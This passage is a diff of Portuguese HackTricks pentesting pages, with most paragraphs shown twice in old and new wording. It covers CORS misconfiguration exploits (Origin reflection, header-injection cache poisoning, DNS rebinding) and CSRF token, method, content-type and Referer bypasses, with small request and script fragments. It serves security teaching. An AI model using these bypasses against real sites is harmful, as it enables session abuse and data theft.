Observou-se que a definição de `Access-Control-Allow-Credentials` como **`true`** é um requisito para a maioria dos **ataques reais**. Essa configuração permite que o navegador envie credenciais e leia a resposta, aumentando a eficácia do ataque. Sem isso, o benefício de fazer com que um navegador emita uma solicitação em vez de fazê-lo por conta própria diminui, pois torna-se inviável aproveitar os cookies de um usuário.
|
||||
|
||||
### Exceção: Explorando a Localização da Rede como Autenticação
|
||||
|
||||
Existe uma exceção onde a localização da rede da vítima atua como uma forma de autenticação. Isso permite que o navegador da vítima seja usado como um proxy, contornando a autenticação baseada em IP para acessar aplicativos de intranet. Este método compartilha semelhanças de impacto com o DNS rebinding, mas é mais simples de explorar.
|
||||
Existe uma exceção em que a localização da rede da vítima atua como uma forma de autenticação. Isso permite que o navegador da vítima seja usado como um proxy, contornando a autenticação baseada em IP para acessar aplicativos de intranet. Este método compartilha semelhanças de impacto com o DNS rebinding, mas é mais simples de explorar.
|
||||
|
||||
### Reflexão de `Origin` em `Access-Control-Allow-Origin`
|
||||
|
||||
O cenário do mundo real onde o valor do cabeçalho `Origin` é refletido em `Access-Control-Allow-Origin` é teoricamente improvável devido às restrições de combinação desses cabeçalhos. No entanto, desenvolvedores que buscam habilitar o CORS para vários URLs podem gerar dinamicamente o cabeçalho `Access-Control-Allow-Origin` copiando o valor do cabeçalho `Origin`. Essa abordagem pode introduzir vulnerabilidades, especialmente quando um atacante utiliza um domínio com um nome projetado para parecer legítimo, enganando assim a lógica de validação.
|
||||
O cenário do mundo real em que o valor do cabeçalho `Origin` é refletido em `Access-Control-Allow-Origin` é teoricamente improvável devido às restrições de combinação desses cabeçalhos. No entanto, desenvolvedores que buscam habilitar o CORS para vários URLs podem gerar dinamicamente o cabeçalho `Access-Control-Allow-Origin` copiando o valor do cabeçalho `Origin`. Essa abordagem pode introduzir vulnerabilidades, especialmente quando um atacante utiliza um domínio com um nome projetado para parecer legítimo, enganando assim a lógica de validação.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -192,15 +188,15 @@ Ao encontrar uma lista branca de domínios, é crucial testar oportunidades de b
|
|||
|
||||
### Bypasses Avançados de Expressão Regular
|
||||
|
||||
Padrões de regex geralmente se concentram em caracteres alfanuméricos, ponto (.), e hífen (-), negligenciando outras possibilidades. Por exemplo, um nome de domínio elaborado para incluir caracteres interpretados de forma diferente por navegadores e padrões de regex pode contornar verificações de segurança. O tratamento de caracteres de subdomínio de sublinhado por Safari, Chrome e Firefox ilustra como tais discrepâncias podem ser exploradas para contornar a lógica de validação de domínio.
|
||||
Padrões de regex geralmente se concentram em caracteres alfanuméricos, ponto (.), e hífen (-), negligenciando outras possibilidades. Por exemplo, um nome de domínio criado para incluir caracteres interpretados de forma diferente por navegadores e padrões de regex pode contornar verificações de segurança. O tratamento de caracteres de subdomínio de sublinhado por Safari, Chrome e Firefox ilustra como tais discrepâncias podem ser exploradas para contornar a lógica de validação de domínio.
|
||||
|
||||
**Para mais informações e configurações deste check de bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **e** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
|
||||
### A partir de XSS dentro de um subdomínio
|
||||
|
||||
Os desenvolvedores frequentemente implementam mecanismos defensivos para proteger contra a exploração de CORS, listando os domínios que têm permissão para solicitar informações. Apesar dessas precauções, a segurança do sistema não é infalível. A presença de até mesmo um único subdomínio vulnerável dentro dos domínios da lista branca pode abrir a porta para a exploração de CORS por meio de outras vulnerabilidades, como XSS (Cross-Site Scripting).
|
||||
Os desenvolvedores frequentemente implementam mecanismos defensivos para proteger contra a exploração de CORS, listando domínios que têm permissão para solicitar informações. Apesar dessas precauções, a segurança do sistema não é infalível. A presença de um único subdomínio vulnerável dentro dos domínios da lista branca pode abrir a porta para a exploração de CORS por meio de outras vulnerabilidades, como XSS (Cross-Site Scripting).
|
||||
|
||||
Para ilustrar, considere o cenário em que um domínio, `requester.com`, está na lista branca para acessar recursos de outro domínio, `provider.com`. A configuração do lado do servidor pode se parecer com isso:
|
||||
```javascript
|
||||
|
@ -212,20 +208,19 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
|||
```
|
||||
Nesta configuração, todos os subdomínios de `requester.com` têm permissão de acesso. No entanto, se um subdomínio, como `sub.requester.com`, for comprometido com uma vulnerabilidade de XSS, um atacante pode aproveitar essa fraqueza. Por exemplo, um atacante com acesso a `sub.requester.com` poderia explorar a vulnerabilidade de XSS para contornar as políticas de CORS e acessar maliciosamente recursos em `provider.com`.
|
||||
|
||||
|
||||
### **Envenenamento de cache do lado do servidor**
|
||||
|
||||
**[A partir desta pesquisa](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
|
||||
[**A partir desta pesquisa**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
É possível que, ao explorar o envenenamento de cache do lado do servidor por meio da injeção de cabeçalho HTTP, uma vulnerabilidade armazenada de Cross-Site Scripting (XSS) possa ser induzida. Este cenário se desenrola quando uma aplicação falha em sanitizar o cabeçalho `Origin` para caracteres ilegais, criando uma vulnerabilidade especialmente para usuários do Internet Explorer e Edge. Esses navegadores tratam `\r` (0x0d) como um terminador de cabeçalho HTTP legítimo, levando a vulnerabilidades de injeção de cabeçalho HTTP.
|
||||
É possível que, ao explorar o envenenamento de cache do lado do servidor por meio da injeção de cabeçalho HTTP, uma vulnerabilidade de Cross-Site Scripting (XSS) armazenada possa ser induzida. Este cenário se desenrola quando uma aplicação falha em sanitizar o cabeçalho `Origin` para caracteres ilegais, criando uma vulnerabilidade especialmente para usuários do Internet Explorer e Edge. Esses navegadores tratam (0x0d) como um terminador de cabeçalho HTTP legítimo, levando a vulnerabilidades de injeção de cabeçalho HTTP.
|
||||
|
||||
Considere a seguinte solicitação onde o cabeçalho `Origin` é manipulado:
|
||||
```text
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Internet Explorer e Edge interpretam a resposta como:
|
||||
```text
|
||||
O Internet Explorer e o Edge interpretam a resposta como:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
|
@ -236,10 +231,9 @@ Para mais informações sobre vulnerabilidades XSS armazenadas, consulte [PortSw
|
|||
|
||||
**Nota**: A exploração de vulnerabilidades de injeção de cabeçalho HTTP, especialmente por meio de envenenamento de cache do lado do servidor, destaca a importância crítica de validar e sanitizar toda entrada fornecida pelo usuário, incluindo cabeçalhos HTTP. Sempre empregue um modelo de segurança robusto que inclua validação de entrada para prevenir tais vulnerabilidades.
|
||||
|
||||
|
||||
### **Envenenamento de cache do lado do cliente**
|
||||
|
||||
**[Desta pesquisa](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
|
||||
[**A partir desta pesquisa**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Neste cenário, uma instância de uma página da web refletindo o conteúdo de um cabeçalho HTTP personalizado sem codificação adequada é observada. Especificamente, a página da web reflete de volta o conteúdo incluído em um cabeçalho `X-User-id`, que poderia incluir JavaScript malicioso, conforme demonstrado pelo exemplo em que o cabeçalho contém uma tag de imagem SVG projetada para executar código JavaScript ao carregar.
|
||||
|
||||
|
@ -271,21 +265,20 @@ Para entender melhor e mitigar essa vulnerabilidade, você pode usar o plugin Bu
|
|||
|
||||
[**Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
Tente adicionar um **parâmetro de callback** na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará os dados com `Content-Type: application/javascript`, o que contornará a política CORS.
|
||||
Tente adicionar um **parâmetro de callback** na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará os dados de volta com `Content-Type: application/javascript`, o que irá contornar a política CORS.
|
||||
|
||||
![](<../.gitbook/assets/image (229).png>)
|
||||
|
||||
### Bypass Fácil (inútil?)
|
||||
|
||||
Uma maneira de contornar a restrição `Access-Control-Allow-Origin` é solicitando que uma aplicação web faça uma solicitação em seu nome e envie a resposta de volta. No entanto, nesse cenário, as credenciais da vítima final não serão enviadas, pois a solicitação é feita para um domínio diferente.
|
||||
Uma maneira de contornar a restrição `Access-Control-Allow-Origin` é solicitando que uma aplicação web faça uma solicitação em seu nome e envie de volta a resposta. No entanto, nesse cenário, as credenciais da vítima final não serão enviadas, pois a solicitação é feita para um domínio diferente.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Esta ferramenta fornece um proxy que encaminha sua solicitação juntamente com seus cabeçalhos, enquanto também falsifica o cabeçalho de Origem para corresponder ao domínio solicitado. Isso contorna efetivamente a política CORS. Aqui está um exemplo de uso com XMLHttpRequest:
|
||||
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Esta ferramenta oferece uma abordagem alternativa para encaminhar solicitações. Em vez de passar sua solicitação como está, o servidor faz sua própria solicitação com os parâmetros especificados.
|
||||
|
||||
### Bypass Iframe + Popup
|
||||
|
||||
Você pode **contornar verificações CORS** como `e.origin === window.origin` criando um iframe e abrindo uma nova janela a partir dele. Mais informações na seguinte página:
|
||||
Você pode **contornar verificações CORS** como `e.origin === window.origin` **criando um iframe** e **a partir dele abrindo uma nova janela**. Mais informações na página a seguir:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -313,16 +306,16 @@ Você também pode explorar um servidor em execução publicamente em [http://re
|
|||
|
||||
### Rebinding de DNS via **Cache**
|
||||
|
||||
Outra maneira de contornar a defesa de cache é utilizando vários endereços IP para o mesmo subdomínio no provedor DNS. Veja como funciona:
|
||||
Outra maneira de contornar a defesa de cache é utilizando vários endereços IP para o mesmo subdomínio no provedor de DNS. Veja como funciona:
|
||||
|
||||
1. O atacante configura dois registros A (ou um único registro A com dois IPs) para o mesmo subdomínio no provedor DNS.
|
||||
1. O atacante configura dois registros A (ou um único registro A com dois IPs) para o mesmo subdomínio no provedor de DNS.
|
||||
2. Quando um navegador verifica esses registros, ele recebe ambos os endereços IP.
|
||||
3. Se o navegador decidir usar primeiro o endereço IP do atacante, o atacante pode servir um payload que realiza solicitações HTTP para o mesmo domínio.
|
||||
4. No entanto, uma vez que o atacante obtém o endereço IP da vítima, ele para de responder ao navegador da vítima.
|
||||
3. Se o navegador decidir usar primeiro o endereço IP do atacante, o atacante pode enviar um payload que realiza solicitações HTTP para o mesmo domínio.
|
||||
4. No entanto, uma vez que o atacante obtém o endereço IP da vítima, ele deixa de responder ao navegador da vítima.
|
||||
5. O navegador da vítima, ao perceber que o domínio não está respondendo, passa a usar o segundo endereço IP fornecido.
|
||||
6. Ao acessar o segundo endereço IP, o navegador contorna a Política de Mesma Origem (SOP), permitindo que o atacante abuse disso e colete e exfiltre informações.
|
||||
|
||||
Essa técnica aproveita o comportamento dos navegadores quando múltiplos endereços IP são fornecidos para um domínio. Ao controlar estrategicamente as respostas e manipular a escolha do endereço IP pelo navegador, um atacante pode explorar a SOP e acessar informações da vítima.
|
||||
Essa técnica aproveita o comportamento dos navegadores quando múltiplos endereços IP são fornecidos para um domínio. Ao controlar estrategicamente as respostas e manipular a escolha do endereço IP pelo navegador, um atacante pode explorar o SOP e acessar informações da vítima.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Observe que, para acessar o localhost, você deve tentar restringir **127.0.0.1** no Windows e **0.0.0.0** no Linux.\
|
||||
|
@ -332,18 +325,17 @@ Provedores como godaddy ou cloudflare não me permitiram usar o IP 0.0.0.0, mas
|
|||
{% endhint %}
|
||||
|
||||
Para mais informações, você pode verificar [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
### Outros Desvios Comuns
|
||||
|
||||
### Outros Bypasses Comuns
|
||||
* Se **IPs internos não forem permitidos**, eles podem **ter esquecido de proibir 0.0.0.0** (funciona em Linux e Mac)
|
||||
* Se **IPs internos não forem permitidos**, responda com um **CNAME** para **localhost** (funciona em Linux e Mac)
|
||||
* Se **IPs internos não forem permitidos** como respostas DNS, você pode responder com **CNAMEs para serviços internos** como www.corporate.internal.
|
||||
|
||||
* Se **IPs internos não são permitidos**, eles podem **esquecer de proibir 0.0.0.0** (funciona em Linux e Mac)
|
||||
* Se **IPs internos não são permitidos**, responda com um **CNAME** para **localhost** (funciona em Linux e Mac)
|
||||
* Se **IPs internos não são permitidos** como respostas DNS, você pode responder com **CNAMEs para serviços internos** como www.corporate.internal.
|
||||
### Arma de Rebinding de DNS
|
||||
|
||||
### Rebinding de DNS Weaponized
|
||||
Você pode encontrar mais informações sobre as técnicas de desvio anteriores e como usar a seguinte ferramenta na palestra [Gerald Doussot - Estado dos Ataques de Rebinding de DNS e Singularidade de Origem - Conferência DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
Você pode encontrar mais informações sobre as técnicas de bypass anteriores e como usar a seguinte ferramenta na palestra [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para restringir o endereço IP do nome DNS do servidor de ataque ao endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
||||
[**`Singularidade de Origem`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para reverter o endereço IP do nome DNS do servidor de ataque para o endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
||||
|
||||
### Proteção Real contra Rebinding de DNS
|
||||
|
||||
|
@ -354,7 +346,7 @@ Você pode encontrar mais informações sobre as técnicas de bypass anteriores
|
|||
|
||||
## **Ferramentas**
|
||||
|
||||
**Fuzz possíveis configurações incorretas nas políticas CORS**
|
||||
**Fuzz possíveis configurações incorretas em políticas CORS**
|
||||
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
||||
|
@ -362,6 +354,7 @@ Você pode encontrar mais informações sobre as técnicas de bypass anteriores
|
|||
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
|
||||
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
|
||||
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
|
||||
|
@ -371,3 +364,17 @@ Você pode encontrar mais informações sobre as técnicas de bypass anteriores
|
|||
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
|
||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,50 +6,57 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
|
||||
## Explicação de Cross-Site Request Forgery (CSRF)
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ele permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações na conta da vítima por meio de métodos como execução de JavaScript, envio de formulários ou busca de imagens.
|
||||
|
||||
### Pré-requisitos para um Ataque CSRF
|
||||
|
||||
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
|
||||
|
||||
1. **Identificar uma Ação Valiosa**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, e-mail ou elevar privilégios.
|
||||
2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente por meio de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para esse fim.
|
||||
3. **Ausência de Parâmetros Impraticáveis**: A solicitação não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
|
||||
|
||||
### Verificação Rápida
|
||||
|
||||
Você pode **capturar a solicitação no Burp** e verificar as proteções CSRF e para testar no navegador você pode clicar em **Copiar como fetch** e verificar a solicitação:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defendendo-se Contra CSRF
|
||||
|
||||
Várias contramedidas podem ser implementadas para se proteger contra ataques CSRF:
|
||||
|
||||
* [**Cookies SameSite**](hacking-with-cookies/#samesite): Este atributo impede o navegador de enviar cookies junto com solicitações entre sites. [Mais sobre Cookies SameSite](hacking-with-cookies/#samesite).
|
||||
* [**Compartilhamento de Recursos entre Origens**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requer a leitura da resposta do site da vítima. [Saiba mais sobre a bypass de CORS](cors-bypass.md).
|
||||
* **Verificação do Usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
|
||||
* **Verificação de Cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as solicitações venham de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como:
|
||||
- Usando `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
|
||||
- Usando `http://example.com.mal.net` (URL começa com a URL confiável)
|
||||
* Usando `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
|
||||
* Usando `http://example.com.mal.net` (URL começa com a URL confiável)
|
||||
* **Modificar Nomes de Parâmetros**: Alterar os nomes de parâmetros em solicitações POST ou GET pode ajudar a prevenir ataques automatizados.
|
||||
* **Tokens CSRF**: Incorporar um token CSRF único em cada sessão e exigir este token em solicitações subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aprimorada ao aplicar CORS.
|
||||
|
||||
|
@ -63,7 +70,7 @@ Talvez o formulário que você deseja explorar esteja preparado para enviar uma
|
|||
|
||||
### Falta de token
|
||||
|
||||
Aplicações podem implementar um mecanismo para **validar tokens** quando estão presentes. No entanto, surge uma vulnerabilidade se a validação for ignorada completamente quando o token está ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
|
||||
Aplicações podem implementar um mecanismo para **validar tokens** quando estão presentes. No entanto, surge uma vulnerabilidade se a validação for ignorada completamente quando o token estiver ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
|
||||
|
||||
### Token CSRF não está vinculado à sessão do usuário
|
||||
|
||||
|
@ -75,12 +82,11 @@ Veja como os atacantes exploram isso:
|
|||
2. **Obtêm um token CSRF válido** do pool global.
|
||||
3. **Usam este token** em um ataque CSRF contra uma vítima.
|
||||
|
||||
Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação.
|
||||
Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o mecanismo de validação de token inadequado da aplicação.
|
||||
|
||||
### Bypass de Método
|
||||
|
||||
Se a solicitação estiver usando um **método "estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando.
|
||||
Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Se a solicitação estiver usando um **"método estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando. Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solicitação POST** ou usando os **cabeçalhos**:
|
||||
|
||||
|
@ -92,12 +98,12 @@ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solic
|
|||
|
||||
Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como **método de proteção CSRF**, então:
|
||||
|
||||
* Teste a solicitação sem o **Token Personalizado e também o cabeçalho**.
|
||||
* Teste a solicitação sem o **Token Personalizado e também o cabeçalho.**
|
||||
* Teste a solicitação com **mesmo comprimento, mas token diferente**.
|
||||
|
||||
### Token CSRF é verificado por um cookie
|
||||
|
||||
Aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de solicitação ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação está alinhado com o valor no cookie.
|
||||
Aplicações podem implementar proteção CSRF duplicando o token em um cookie e um parâmetro de solicitação ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação corresponde ao valor no cookie.
|
||||
|
||||
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguido pela iniciativa do ataque CSRF.
|
||||
|
||||
|
@ -118,10 +124,10 @@ Abaixo está um exemplo de como um ataque poderia ser estruturado:
|
|||
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Note que se o **token csrf estiver relacionado com o cookie de sessão, este ataque não funcionará** porque você precisará definir a sessão da vítima, e, portanto, estará atacando a si mesmo.
|
||||
Note que se o **token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará** porque você precisará definir a sessão da vítima, e, portanto, estará se atacando.
|
||||
{% endhint %}
|
||||
|
||||
### Alteração do Content-Type
|
||||
### Mudança de Content-Type
|
||||
|
||||
De acordo com [**este**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST**, estes são os valores de Content-Type permitidos:
|
||||
|
||||
|
@ -149,16 +155,14 @@ form.submit();
|
|||
Ao tentar enviar dados JSON via uma solicitação POST, usar o `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma solicitação de preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
|
||||
|
||||
1. **Usar Tipos de Conteúdo Alternativos**: Utilize `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` no formulário. Esta abordagem testa se o backend utiliza os dados independentemente do Content-Type.
|
||||
|
||||
2. **Modificar o Tipo de Conteúdo**: Para evitar uma solicitação de preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não aciona uma solicitação de preflight, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar `application/json`.
|
||||
|
||||
3. **Utilização de Arquivo Flash SWF**: Um método menos comum, mas viável, envolve o uso de um arquivo flash SWF para contornar tais restrições. Para uma compreensão mais aprofundada dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Bypass de Verificação de Referrer / Origin
|
||||
### Bypass de Verificação de Referência / Origem
|
||||
|
||||
**Evitar o cabeçalho Referrer**
|
||||
**Evitar o cabeçalho Referer**
|
||||
|
||||
As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie este cabeçalho, a seguinte tag meta HTML pode ser usada:
|
||||
As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie este cabeçalho, a seguinte meta tag HTML pode ser usada:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
|
@ -191,7 +195,7 @@ document.forms[0].submit();
|
|||
```
|
||||
### **Bypassando o método HEAD**
|
||||
|
||||
A primeira parte [**deste relatório CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [o código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador é configurado para **lidar com solicitações HEAD como solicitações GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com solicitações HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta**.
|
||||
